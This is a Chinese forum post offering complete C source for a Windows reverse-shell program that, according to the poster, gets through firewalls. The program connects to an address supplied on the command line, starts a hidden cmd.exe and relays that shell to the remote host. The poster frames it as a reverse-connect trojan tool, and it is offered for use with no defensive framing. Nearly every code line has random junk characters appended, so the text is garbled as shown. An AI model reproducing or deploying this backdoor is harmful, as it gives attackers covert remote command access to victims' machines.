社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3812阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }SvWC8  
#o |&MV_j  
/* ============================== r1H['{$  
Rebound port in Windows NT CR8r|+(8  
By wind,2006/7 \oZUG  
===============================*/ QT&Ws+@ s{  
#include ah$7 Oudj  
#include @ke})0 `5  
^1& LHrT  
#pragma comment(lib,"wsock32.lib") sN` o_q{Q  
';T5[l,  
void OutputShell(); ]TZWFL-  
SOCKET sClient; M$hw(fC|m1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ..]X<  
M[3w EX^  
void main(int argc,char **argv) [ BC%$Sj  
{ ii] =C(e9  
WSADATA stWsaData; ~^ 5n$jq  
int nRet; `m0Uj9)#  
SOCKADDR_IN stSaiClient,stSaiServer; t>|N4o  
8&[<pbN)  
if(argc != 3) R{y{  
{ IqJ=\  
printf("Useage:\n\rRebound DestIP DestPort\n"); O0*L9C/Q  
return; pj-HLuZR  
} ua>~$`@gX  
/Rcd}rO  
WSAStartup(MAKEWORD(2,2),&stWsaData); r^tXr[}  
= (h;L$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VKJ~ZIO@A  
^9f`3~!#bc  
stSaiClient.sin_family = AF_INET; 6XCX#4'i%  
stSaiClient.sin_port = htons(0); w\;9&;;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *SG2k .$  
FveK|-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bFxJ|  
{ NX #d}M^V  
printf("Bind Socket Failed!\n"); 8!`.%)- 4  
return; adPU)k_j:  
} r Q@o  
cb&In<q  
stSaiServer.sin_family = AF_INET; teNQUIe-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bRe*(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S aq>o.  
Dj&bHC5%  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?-&D'  
{ c5+lm}R?  
printf("Connect Error!"); r!gCh`PiK  
return; <>/MKMq!  
} ^* v{t?u  
OutputShell(); #$rT 4N c;  
} $P9$ ,w4  
wgP3&4cSUc  
void OutputShell() d3J_IW+8R$  
{ 2*DS_=6o  
char szBuff[1024]; h_"/@6  
SECURITY_ATTRIBUTES stSecurityAttributes; G9":z|  
OSVERSIONINFO stOsversionInfo; f]65iE?x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dnc!=Z89  
STARTUPINFO stStartupInfo; )7mJ+d[  
char *szShell; _q}%!#4  
PROCESS_INFORMATION stProcessInformation; l0 :xQV`  
unsigned long lBytesRead; y:zT1I@>  
L"<Eov6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eZkz 1j~  
TUYl><F5v=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Jl9TMu!1]  
stSecurityAttributes.lpSecurityDescriptor = 0; L k+1r8  
stSecurityAttributes.bInheritHandle = TRUE; \I{A33i2w  
rX d2[pp  
BFu9KS+@)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); a8P 6-)W  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CP#MNNvgrw  
g' U^fN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T>o# *{q n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uKzz/Y{  
stStartupInfo.wShowWindow = SW_HIDE; 717m.t,x  
stStartupInfo.hStdInput = hReadPipe;  ,qqV11P]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ? NK} q\$  
fT~<C {  
GetVersionEx(&stOsversionInfo); )F2tV ]k\  
`3s-\>  
switch(stOsversionInfo.dwPlatformId) IoX 9yGq  
{ BV:,b S  
case 1: >{=RQgGy  
szShell = "command.com"; YAG3PWmD  
break; ADUI@#vk  
default: ?kefRev<#h  
szShell = "cmd.exe"; R6.#gb8^oS  
break; +34jot.!  
} 3!UP>,!  
3`q`W9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _j tS-CnO  
aJ@qB9(ZBe  
send(sClient,szMsg,77,0); yKhzymS}T  
while(1) $X]v;B)J|  
{ N Uml"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BJr Nbo;T  
if(lBytesRead) +'4dP#  
{ oIgj)AY<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j"=jK^  
send(sClient,szBuff,lBytesRead,0); e-t`\5b;  
} {<BK@U  
else ,gD i)]  
{  kS9  
lBytesRead=recv(sClient,szBuff,1024,0); d7gSkna`5c  
if(lBytesRead<=0) break; |mA*[?ye@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); # =3]bg  
} 7[ji,.7  
} xq*yZ5:5Jo  
B 1.@K}  
return; Y>~zt -  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五